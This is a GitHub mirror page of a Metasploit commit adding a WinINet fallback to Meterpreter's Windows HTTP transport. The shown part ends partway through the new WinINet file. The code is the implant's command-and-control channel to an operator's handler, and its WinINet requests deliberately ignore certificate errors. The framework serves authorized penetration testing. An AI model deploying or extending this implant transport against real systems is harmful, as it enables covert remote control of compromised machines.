mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
Land #5, add WinInet fallback when WinHTTP cannot work against certain proxies
This commit is contained in:
commit
819f6a3455
0
c/meterpreter/source/common/common.h
Normal file → Executable file
0
c/meterpreter/source/common/common.h
Normal file → Executable file
17
c/meterpreter/source/common/remote.h
Normal file → Executable file
17
c/meterpreter/source/common/remote.h
Normal file → Executable file
@ -26,6 +26,7 @@ typedef struct _PacketRequestCompletion PacketRequestCompletion;
|
||||
typedef struct _Transport Transport;
|
||||
typedef struct _Remote Remote;
|
||||
typedef struct _TimeoutSettings TimeoutSettings;
|
||||
typedef struct _HttpTransportContext HttpTransportContext;
|
||||
|
||||
typedef SOCKET(*PTransportGetSocket)(Transport* transport);
|
||||
typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown);
|
||||
@ -39,6 +40,13 @@ typedef void(*PConfigCreate)(Remote* remote, MetsrvConfig** config, LPDWORD size
|
||||
typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
|
||||
typedef DWORD(*PPacketTransmit)(Remote* remote, Packet* packet, PacketRequestCompletion* completion);
|
||||
|
||||
typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, const char* direction);
|
||||
typedef BOOL(*PSendHttpRequest)(HANDLE hReq, LPVOID buffer, DWORD size);
|
||||
typedef BOOL(*PCloseRequest)(HANDLE hReq);
|
||||
typedef DWORD(*PValidateResponse)(HANDLE hReq, HttpTransportContext* ctx);
|
||||
typedef BOOL(*PReceiveResponse)(HANDLE hReq);
|
||||
typedef BOOL(*PReadResponse)(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead);
|
||||
|
||||
typedef struct _TimeoutSettings
|
||||
{
|
||||
/*! @ brief The total number of seconds to wait for a new packet before killing off the session. */
|
||||
@ -75,6 +83,15 @@ typedef struct _HttpTransportContext
|
||||
|
||||
BOOL proxy_configured; ///! Indication of whether the proxy has been configured.
|
||||
LPVOID proxy_for_url; ///! Pointer to the proxy for the current url (if required).
|
||||
|
||||
BOOL move_to_wininet; ///! If set, winhttp is busted, and we need to move to wininet.
|
||||
|
||||
PCreateHttpRequest create_req; ///! WinHTTP/WinINET specific request creation.
|
||||
PSendHttpRequest send_req; ///! WinHTTP/WinINET specifc request sending.
|
||||
PCloseRequest close_req; ///! WinHTTP/WinINET specifc request closing.
|
||||
PValidateResponse validate_response; ///! WinHTTP/WinINET specific response validation.
|
||||
PReceiveResponse receive_response; ///! WinHttp/WinINET specific response data reception.
|
||||
PReadResponse read_response; ///! WinHttp/WinINET specific response data reading.
|
||||
} HttpTransportContext;
|
||||
|
||||
typedef struct _Transport
|
||||
|
293
c/meterpreter/source/server/win/server_transport_winhttp.c
Normal file → Executable file
293
c/meterpreter/source/server/win/server_transport_winhttp.c
Normal file → Executable file
@ -1,10 +1,11 @@
|
||||
/*!
|
||||
* @file server_transport_tcp.c
|
||||
/*!
|
||||
* @file server_transport_http.c
|
||||
* @remark This file doesn't use precompiled headers because metsrv.h includes a bunch of
|
||||
* of definitions that clash with those found in winhttp.h. Hooray Win32 API. I hate you.
|
||||
*/
|
||||
#include "../../common/common.h"
|
||||
#include "../../common/config.h"
|
||||
#include "server_transport_wininet.h"
|
||||
#include <winhttp.h>
|
||||
|
||||
/*!
|
||||
@ -13,7 +14,7 @@
|
||||
* @param direction String representing the direction of the communications (for debug).
|
||||
* @return An Internet request handle.
|
||||
*/
|
||||
static HINTERNET get_winhttp_req(HttpTransportContext *ctx, const char *direction)
|
||||
static HINTERNET get_request_winhttp(HttpTransportContext *ctx, const char *direction)
|
||||
{
|
||||
HINTERNET hReq = NULL;
|
||||
DWORD flags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
|
||||
@ -141,6 +142,123 @@ static HINTERNET get_winhttp_req(HttpTransportContext *ctx, const char *directio
|
||||
}
|
||||
|
||||
return hReq;
|
||||
}
|
||||
|
||||
/*
|
||||
* @brief Wrapper around WinHTTP-specific request handle closing functionality.
|
||||
* @param hReq HTTP request handle.
|
||||
* @return An indication of the result of sending the request.
|
||||
*/
|
||||
static BOOL close_request_winhttp(HANDLE hReq)
|
||||
{
|
||||
return WinHttpCloseHandle(hReq);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Wrapper around WinHTTP-specific response data reading functionality.
|
||||
* @param hReq HTTP request handle.
|
||||
* @param buffer Pointer to the data buffer.
|
||||
* @param bytesToRead The number of bytes to read.
|
||||
* @param bytesRead The number of bytes actually read.
|
||||
* @return An indication of the result of sending the request.
|
||||
*/
|
||||
static BOOL read_response_winhttp(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead)
|
||||
{
|
||||
return WinHttpReadData(hReq, buffer, bytesToRead, bytesRead);
|
||||
}
|
||||
|
||||
|
||||
/*!
|
||||
* @brief Wrapper around WinHTTP-specific sending functionality.
|
||||
* @param hReq HTTP request handle.
|
||||
* @param buffer Pointer to the buffer to receive the data.
|
||||
* @param size Buffer size.
|
||||
* @return An indication of the result of sending the request.
|
||||
*/
|
||||
static BOOL send_request_winhttp(HANDLE hReq, LPVOID buffer, DWORD size)
|
||||
{
|
||||
return WinHttpSendRequest(hReq, NULL, 0, buffer, size, size, 0);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Wrapper around WinHTTP-specific receiving functionality.
|
||||
* @param hReq HTTP request handle.
|
||||
* @return An indication of the result of receiving the request.
|
||||
*/
|
||||
static BOOL receive_response_winhttp(HANDLE hReq)
|
||||
{
|
||||
return WinHttpReceiveResponse(hReq, NULL);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Wrapper around WinHTTP-specific request response validation.
|
||||
* @param hReq HTTP request handle.
|
||||
* @param ctx The HTTP transport context.
|
||||
* @return An indication of the result of getting a response.
|
||||
*/
|
||||
static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx)
|
||||
{
|
||||
DWORD statusCode;
|
||||
DWORD statusCodeSize = sizeof(statusCode);
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] Getting the result code...");
|
||||
if (WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &statusCode, &statusCodeSize, WINHTTP_NO_HEADER_INDEX))
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] Returned status code is %d", statusCode);
|
||||
|
||||
// did the request succeed?
|
||||
if (statusCode != 200)
|
||||
{
|
||||
// There are a few reasons why this could fail, including proxy related stuff.
|
||||
// If we fail, we're going to fallback to WinINET and see if that works instead.
|
||||
// there could be a number of reasons for failure, but we're only going to try
|
||||
// to handle the case where proxy authentication fails. We'll indicate failure and
|
||||
// let the switchover happen for us.
|
||||
|
||||
// However, we won't do this in the case where cert hash verification is turned on,
|
||||
// because we don't want to expose people to MITM if they've explicitly asked us not
|
||||
// to.
|
||||
if (ctx->cert_hash == NULL && statusCode == 407)
|
||||
{
|
||||
return ERROR_WINHTTP_CANNOT_CONNECT;
|
||||
}
|
||||
|
||||
// indicate something is up.
|
||||
return ERROR_BAD_CONFIGURATION;
|
||||
}
|
||||
}
|
||||
|
||||
if (ctx->cert_hash != NULL)
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] validating certificate hash");
|
||||
PCERT_CONTEXT pCertContext = NULL;
|
||||
DWORD dwCertContextSize = sizeof(pCertContext);
|
||||
|
||||
if (!WinHttpQueryOption(hReq, WINHTTP_OPTION_SERVER_CERT_CONTEXT, &pCertContext, &dwCertContextSize))
|
||||
{
|
||||
dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate context: %u", GetLastError());
|
||||
return ERROR_WINHTTP_SECURE_INVALID_CERT;
|
||||
}
|
||||
|
||||
DWORD dwHashSize = 20;
|
||||
BYTE hash[20];
|
||||
if (!CertGetCertificateContextProperty(pCertContext, CERT_SHA1_HASH_PROP_ID, hash, &dwHashSize))
|
||||
{
|
||||
dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate hash: %u", GetLastError());
|
||||
return ERROR_WINHTTP_SECURE_INVALID_CERT;
|
||||
}
|
||||
|
||||
if (memcmp(hash, ctx->cert_hash, CERT_HASH_SIZE) != 0)
|
||||
{
|
||||
dprintf("[SERVER] Server hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
|
||||
hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10],
|
||||
hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]);
|
||||
|
||||
dprintf("[PACKET RECEIVE WINHTTP] Certificate hash doesn't match, bailing out");
|
||||
return ERROR_WINHTTP_SECURE_INVALID_CERT;
|
||||
}
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
@ -151,11 +269,11 @@ static HINTERNET get_winhttp_req(HttpTransportContext *ctx, const char *directio
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
* @remark This function is not available on POSIX.
|
||||
*/
|
||||
static DWORD packet_transmit_via_http_winhttp(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
|
||||
static DWORD packet_transmit_http(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
|
||||
{
|
||||
DWORD res = 0;
|
||||
HINTERNET hReq;
|
||||
BOOL hRes;
|
||||
BOOL result;
|
||||
DWORD retries = 5;
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
|
||||
unsigned char *buffer;
|
||||
@ -172,17 +290,15 @@ static DWORD packet_transmit_via_http_winhttp(Remote *remote, Packet *packet, Pa
|
||||
|
||||
do
|
||||
{
|
||||
hReq = get_winhttp_req(ctx, "PACKET TRANSMIT");
|
||||
hReq = ctx->create_req(ctx, "PACKET TRANSMIT");
|
||||
if (hReq == NULL)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
hRes = WinHttpSendRequest(hReq, NULL, 0, buffer,
|
||||
packet->payloadLength + sizeof(TlvHeader),
|
||||
packet->payloadLength + sizeof(TlvHeader), 0);
|
||||
result = ctx->send_req(hReq, buffer, packet->payloadLength + sizeof(TlvHeader));
|
||||
|
||||
if (!hRes)
|
||||
if (!result)
|
||||
{
|
||||
dprintf("[PACKET TRANSMIT] Failed HttpSendRequest: %d", GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
@ -193,7 +309,7 @@ static DWORD packet_transmit_via_http_winhttp(Remote *remote, Packet *packet, Pa
|
||||
} while(0);
|
||||
|
||||
memset(buffer, 0, packet->payloadLength + sizeof(TlvHeader));
|
||||
WinHttpCloseHandle(hReq);
|
||||
ctx->close_req(hReq);
|
||||
return res;
|
||||
}
|
||||
|
||||
@ -266,7 +382,7 @@ static DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequ
|
||||
}
|
||||
|
||||
dprintf("[PACKET] Transmitting packet of length %d to remote", packet->payloadLength);
|
||||
res = packet_transmit_via_http_winhttp(remote, packet, completion);
|
||||
res = packet_transmit_http(remote, packet, completion);
|
||||
if (res < 0)
|
||||
{
|
||||
dprintf("[PACKET] transmit failed with return %d\n", res);
|
||||
@ -287,13 +403,13 @@ static DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequ
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Windows-specific function to receive a new packet via WinHTTP.
|
||||
* @brief Windows-specific function to receive a new packet via one of the HTTP libs (WinInet or WinHTTP).
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to a pointer that will receive the \c Packet data.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
* @remark This function is not available in POSIX.
|
||||
*/
|
||||
static DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
static DWORD packet_receive_http(Remote *remote, Packet **packet)
|
||||
{
|
||||
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
|
||||
CryptoContext *crypto = NULL;
|
||||
@ -313,93 +429,54 @@ static DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
|
||||
do
|
||||
{
|
||||
hReq = get_winhttp_req(ctx, "PACKET RECEIVE");
|
||||
hReq = ctx->create_req(ctx, "PACKET RECEIVE");
|
||||
if (hReq == NULL)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] sending the 'RECV' command...");
|
||||
vdprintf("[PACKET RECEIVE HTTP] sending the 'RECV' command...");
|
||||
// TODO: when the MSF side supports it, update this so that it's UTF8
|
||||
DWORD recv = 'VCER';
|
||||
hRes = WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0, &recv,
|
||||
sizeof(recv), sizeof(recv), 0);
|
||||
hRes = ctx->send_req(hReq, &recv, sizeof(recv));
|
||||
|
||||
if (!hRes)
|
||||
{
|
||||
dprintf("[PACKET RECEIVE WINHTTP] Failed WinHttpSendRequest: %d %d", GetLastError(), WSAGetLastError());
|
||||
dprintf("[PACKET RECEIVE HTTP] Failed send_req: %d %d", GetLastError(), WSAGetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] Waiting to see the response ...");
|
||||
if (!WinHttpReceiveResponse(hReq, NULL))
|
||||
vdprintf("[PACKET RECEIVE HTTP] Waiting to see the response ...");
|
||||
if (ctx->receive_response && !ctx->receive_response(hReq))
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE] Failed WinHttpReceiveResponse: %d", GetLastError());
|
||||
vdprintf("[PACKET RECEIVE] Failed receive: %d", GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
if (ctx->cert_hash != NULL)
|
||||
SetLastError(ctx->validate_response(hReq, ctx));
|
||||
|
||||
if (GetLastError() != ERROR_SUCCESS)
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] validating certificate hash");
|
||||
PCERT_CONTEXT pCertContext = NULL;
|
||||
DWORD dwCertContextSize = sizeof(pCertContext);
|
||||
|
||||
if (!WinHttpQueryOption(hReq, WINHTTP_OPTION_SERVER_CERT_CONTEXT, &pCertContext, &dwCertContextSize))
|
||||
{
|
||||
dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate context: %u", GetLastError());
|
||||
SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT);
|
||||
break;
|
||||
}
|
||||
|
||||
DWORD dwHashSize = 20;
|
||||
BYTE hash[20];
|
||||
if (!CertGetCertificateContextProperty(pCertContext, CERT_SHA1_HASH_PROP_ID, hash, &dwHashSize))
|
||||
{
|
||||
dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate hash: %u", GetLastError());
|
||||
SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT);
|
||||
break;
|
||||
}
|
||||
|
||||
if (memcmp(hash, ctx->cert_hash, CERT_HASH_SIZE) != 0)
|
||||
{
|
||||
dprintf("[SERVER] Server hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
|
||||
hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10],
|
||||
hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]);
|
||||
|
||||
dprintf("[PACKET RECEIVE WINHTTP] Certificate hash doesn't match, bailing out");
|
||||
SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT);
|
||||
break;
|
||||
}
|
||||
// something went wrong, so break
|
||||
break;
|
||||
}
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
DWORD dwSize = 0;
|
||||
if (!WinHttpQueryDataAvailable(hReq, &dwSize))
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] WinHttpQueryDataAvailable failed: %x", GetLastError());
|
||||
}
|
||||
else
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] Available data: %u bytes", dwSize);
|
||||
}
|
||||
#endif
|
||||
|
||||
// Read the packet length
|
||||
retries = 3;
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] Start looping through the receive calls");
|
||||
vdprintf("[PACKET RECEIVE HTTP] Start looping through the receive calls");
|
||||
while (inHeader && retries > 0)
|
||||
{
|
||||
retries--;
|
||||
if (!WinHttpReadData(hReq, (PUCHAR)&header + headerBytes, sizeof(TlvHeader)-headerBytes, &bytesRead))
|
||||
if (!ctx->read_response(hReq, (PUCHAR)&header + headerBytes, sizeof(TlvHeader)-headerBytes, &bytesRead))
|
||||
{
|
||||
dprintf("[PACKET RECEIVE] Failed HEADER WinhttpReadData: %d", GetLastError());
|
||||
dprintf("[PACKET RECEIVE HTTP] Failed HEADER read_response: %d", GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] Data received: %u bytes", bytesRead);
|
||||
vdprintf("[PACKET RECEIVE NHTTP] Data received: %u bytes", bytesRead);
|
||||
|
||||
// If the response contains no data, this is fine, it just means the
|
||||
// remote side had nothing to tell us. Indicate this through a
|
||||
@ -427,13 +504,13 @@ static DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
|
||||
if (headerBytes != sizeof(TlvHeader))
|
||||
{
|
||||
dprintf("[PACKET RECEIVE WINHTTP] headerBytes no valid");
|
||||
dprintf("[PACKET RECEIVE HTTP] headerBytes no valid");
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
// Initialize the header
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] initialising header");
|
||||
vdprintf("[PACKET RECEIVE HTTP] initialising header");
|
||||
header.length = header.length;
|
||||
header.type = header.type;
|
||||
payloadLength = ntohl(header.length) - sizeof(TlvHeader);
|
||||
@ -450,23 +527,23 @@ static DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
retries = payloadBytesLeft;
|
||||
while (payloadBytesLeft > 0 && retries > 0)
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] reading more data from the body...");
|
||||
vdprintf("[PACKET RECEIVE HTTP] reading more data from the body...");
|
||||
retries--;
|
||||
if (!WinHttpReadData(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead))
|
||||
if (!ctx->read_response(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead))
|
||||
{
|
||||
dprintf("[PACKET RECEIVE] Failed BODY WinHttpReadData: %d", GetLastError());
|
||||
dprintf("[PACKET RECEIVE] Failed BODY read_response: %d", GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
if (!bytesRead)
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] no bytes read, bailing out");
|
||||
vdprintf("[PACKET RECEIVE HTTP] no bytes read, bailing out");
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] bytes read: %u", bytesRead);
|
||||
vdprintf("[PACKET RECEIVE HTTP] bytes read: %u", bytesRead);
|
||||
payloadBytesLeft -= bytesRead;
|
||||
}
|
||||
|
||||
@ -533,7 +610,7 @@ static DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
|
||||
if (hReq)
|
||||
{
|
||||
WinHttpCloseHandle(hReq);
|
||||
ctx->close_req(hReq);
|
||||
}
|
||||
|
||||
lock_release(remote->lock);
|
||||
@ -548,7 +625,7 @@ static DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
* @param sock Reference to the original socket FD passed to metsrv (ignored);
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
static BOOL server_init_http(Transport* transport)
|
||||
static BOOL server_init_winhttp(Transport* transport)
|
||||
{
|
||||
URL_COMPONENTS bits;
|
||||
wchar_t tmpHostName[URL_SIZE];
|
||||
@ -621,10 +698,27 @@ static DWORD server_deinit_http(Transport* transport)
|
||||
{
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx;
|
||||
|
||||
dprintf("[WINHTTP] Deinitialising ...");
|
||||
dprintf("[HTTP] Deinitialising ...");
|
||||
|
||||
WinHttpCloseHandle(ctx->connection);
|
||||
WinHttpCloseHandle(ctx->internet);
|
||||
if (ctx->connection)
|
||||
{
|
||||
ctx->close_req(ctx->connection);
|
||||
ctx->connection = NULL;
|
||||
}
|
||||
|
||||
if (ctx->internet)
|
||||
{
|
||||
ctx->close_req(ctx->internet);
|
||||
ctx->internet = NULL;
|
||||
}
|
||||
|
||||
// have we had issues that require us to move?
|
||||
if (ctx->move_to_wininet)
|
||||
{
|
||||
// yes, so switch on over.
|
||||
transport_move_to_wininet(transport);
|
||||
ctx->move_to_wininet = FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@ -644,7 +738,7 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread)
|
||||
DWORD ecount = 0;
|
||||
DWORD delay = 0;
|
||||
Transport* transport = remote->transport;
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx;
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx;
|
||||
|
||||
while (running)
|
||||
{
|
||||
@ -668,7 +762,8 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread)
|
||||
}
|
||||
|
||||
dprintf("[DISPATCH] Reading data from the remote side...");
|
||||
result = packet_receive_http_via_winhttp(remote, &packet);
|
||||
result = packet_receive_http(remote, &packet);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
{
|
||||
// Update the timestamp for empty replies
|
||||
@ -676,6 +771,17 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread)
|
||||
{
|
||||
transport->comms_last_packet = current_unix_timestamp();
|
||||
}
|
||||
else if (result == ERROR_WINHTTP_CANNOT_CONNECT)
|
||||
{
|
||||
dprintf("[DISPATCH] Failed to work correctly with WinHTTP, moving over to WinINET");
|
||||
// next we need to indicate that we need to do a switch to wininet when we terminate
|
||||
ctx->move_to_wininet = TRUE;
|
||||
|
||||
// and pretend to do a transport switch, to ourselves!
|
||||
remote->next_transport = remote->transport;
|
||||
result = ERROR_SUCCESS;
|
||||
break;
|
||||
}
|
||||
else if (result == ERROR_WINHTTP_SECURE_INVALID_CERT)
|
||||
{
|
||||
// This means that the certificate validation failed, and so
|
||||
@ -684,14 +790,16 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread)
|
||||
result = ERROR_SUCCESS;
|
||||
break;
|
||||
}
|
||||
|
||||
if (ecount < 10)
|
||||
else if (result == ERROR_BAD_CONFIGURATION)
|
||||
{
|
||||
delay = 10 * ecount;
|
||||
// something went wrong with WinINET so break.
|
||||
break;
|
||||
}
|
||||
else
|
||||
|
||||
delay = 10 * ecount;
|
||||
if (ecount >= 10)
|
||||
{
|
||||
delay = 100 * ecount;
|
||||
delay *= 10;
|
||||
}
|
||||
|
||||
ecount++;
|
||||
@ -878,6 +986,13 @@ Transport* transport_create_http(MetsrvTransportHttp* config)
|
||||
memcpy(ctx->cert_hash, config->ssl_cert_hash, 20);
|
||||
}
|
||||
|
||||
ctx->create_req = get_request_winhttp;
|
||||
ctx->send_req = send_request_winhttp;
|
||||
ctx->close_req = close_request_winhttp;
|
||||
ctx->validate_response = validate_response_winhttp;
|
||||
ctx->receive_response = receive_response_winhttp;
|
||||
ctx->read_response = read_response_winhttp;
|
||||
|
||||
transport->timeouts.comms = config->common.comms_timeout;
|
||||
transport->timeouts.retry_total = config->common.retry_total;
|
||||
transport->timeouts.retry_wait = config->common.retry_wait;
|
||||
@ -885,7 +1000,7 @@ Transport* transport_create_http(MetsrvTransportHttp* config)
|
||||
ctx->url = transport->url = _wcsdup(config->common.url);
|
||||
transport->packet_transmit = packet_transmit_via_http;
|
||||
transport->server_dispatch = server_dispatch_http;
|
||||
transport->transport_init = server_init_http;
|
||||
transport->transport_init = server_init_winhttp;
|
||||
transport->transport_deinit = server_deinit_http;
|
||||
transport->transport_destroy = transport_destroy_http;
|
||||
transport->ctx = ctx;
|
||||
|
229
c/meterpreter/source/server/win/server_transport_wininet.c
Executable file
229
c/meterpreter/source/server/win/server_transport_wininet.c
Executable file
@ -0,0 +1,229 @@
|
||||
/*!
|
||||
* @file server_transport_wininet.c
|
||||
*/
|
||||
#include "metsrv.h"
|
||||
#include <wininet.h>
|
||||
|
||||
/*!
|
||||
* @brief Prepare a wininet request with the given context.
|
||||
* @param ctx Pointer to the HTTP transport context to prepare the request from.
|
||||
* @param direction String representing the direction of the communications (for debug).
|
||||
* @return An Internet request handle.
|
||||
*/
|
||||
static HINTERNET get_request_wininet(HttpTransportContext *ctx, const char *direction)
|
||||
{
|
||||
HINTERNET hReq = NULL;
|
||||
DWORD flags = INTERNET_FLAG_RELOAD
|
||||
| INTERNET_FLAG_NO_CACHE_WRITE
|
||||
| INTERNET_FLAG_KEEP_CONNECTION
|
||||
| INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
| INTERNET_FLAG_NO_UI;
|
||||
|
||||
if (ctx->ssl)
|
||||
{
|
||||
flags |= INTERNET_FLAG_SECURE
|
||||
| INTERNET_FLAG_IGNORE_CERT_CN_INVALID
|
||||
| INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
|
||||
dprintf("[%s] Setting secure request flag..", direction);
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
vdprintf("[%s] opening request on connection %x to %S", direction, ctx->connection, ctx->uri);
|
||||
hReq = HttpOpenRequestW(ctx->connection, L"POST", ctx->uri, NULL, NULL, NULL, flags, 0);
|
||||
|
||||
if (hReq == NULL)
|
||||
{
|
||||
dprintf("[%s] Failed HttpOpenRequestW: %d", direction, GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
if (ctx->ssl)
|
||||
{
|
||||
DWORD secureFlags = SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
| SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
| SECURITY_FLAG_IGNORE_WRONG_USAGE
|
||||
| SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
| SECURITY_FLAG_IGNORE_REVOCATION;
|
||||
|
||||
dprintf("[%s] Setting secure option flags", direction);
|
||||
if (!InternetSetOptionW(hReq, INTERNET_OPTION_SECURITY_FLAGS, &secureFlags, sizeof(secureFlags)))
|
||||
{
|
||||
dprintf("[%s] Failed InternetSetOptionW: %d", direction, GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return hReq;
|
||||
} while (0);
|
||||
|
||||
if (hReq != NULL)
|
||||
{
|
||||
InternetCloseHandle(hReq);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Wrapper around WinINET-specific request handle closing functionality.
|
||||
* @param hReq HTTP request handle.
|
||||
* @return An indication of the result of sending the request.
|
||||
*/
|
||||
static BOOL close_request_wininet(HANDLE hReq)
|
||||
{
|
||||
return InternetCloseHandle(hReq);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Wrapper around WinINET-specific response data reading functionality.
|
||||
* @param hReq HTTP request handle.
|
||||
* @param buffer Pointer to the data buffer.
|
||||
* @param bytesToRead The number of bytes to read.
|
||||
* @param bytesRead The number of bytes actually read.
|
||||
* @return An indication of the result of sending the request.
|
||||
*/
|
||||
static BOOL read_response_wininet(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead)
|
||||
{
|
||||
return InternetReadFile(hReq, buffer, bytesToRead, bytesRead);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Wrapper around WinINET-specific sending functionality.
|
||||
* @param hReq HTTP request handle.
|
||||
* @param buffer Pointer to the buffer to receive the data.
|
||||
* @param size Buffer size.
|
||||
* @return An indication of the result of sending the request.
|
||||
*/
|
||||
static BOOL send_request_wininet(HANDLE hReq, LPVOID buffer, DWORD size)
|
||||
{
|
||||
return HttpSendRequestW(hReq, NULL, 0, buffer, size);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Wrapper around WinINET-specific request response validation.
|
||||
* @param hReq HTTP request handle.
|
||||
* @param ctx The HTTP transport context.
|
||||
* @return An indication of the result of getting a response.
|
||||
*/
|
||||
static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx)
|
||||
{
|
||||
DWORD statusCode;
|
||||
DWORD statusCodeSize = sizeof(statusCode);
|
||||
vdprintf("[PACKET RECEIVE WININET] Getting the result code...");
|
||||
if (HttpQueryInfoW(hReq, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &statusCode, &statusCodeSize, 0))
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WININET] Returned status code is %d", statusCode);
|
||||
|
||||
// did the request succeed?
|
||||
if (statusCode != 200)
|
||||
{
|
||||
// bomb out
|
||||
return ERROR_BAD_CONFIGURATION;
|
||||
}
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Initialise the HTTP(S) connection.
|
||||
* @param remote Pointer to the remote instance with the HTTP(S) transport details wired in.
|
||||
* @param sock Reference to the original socket FD passed to metsrv (ignored);
|
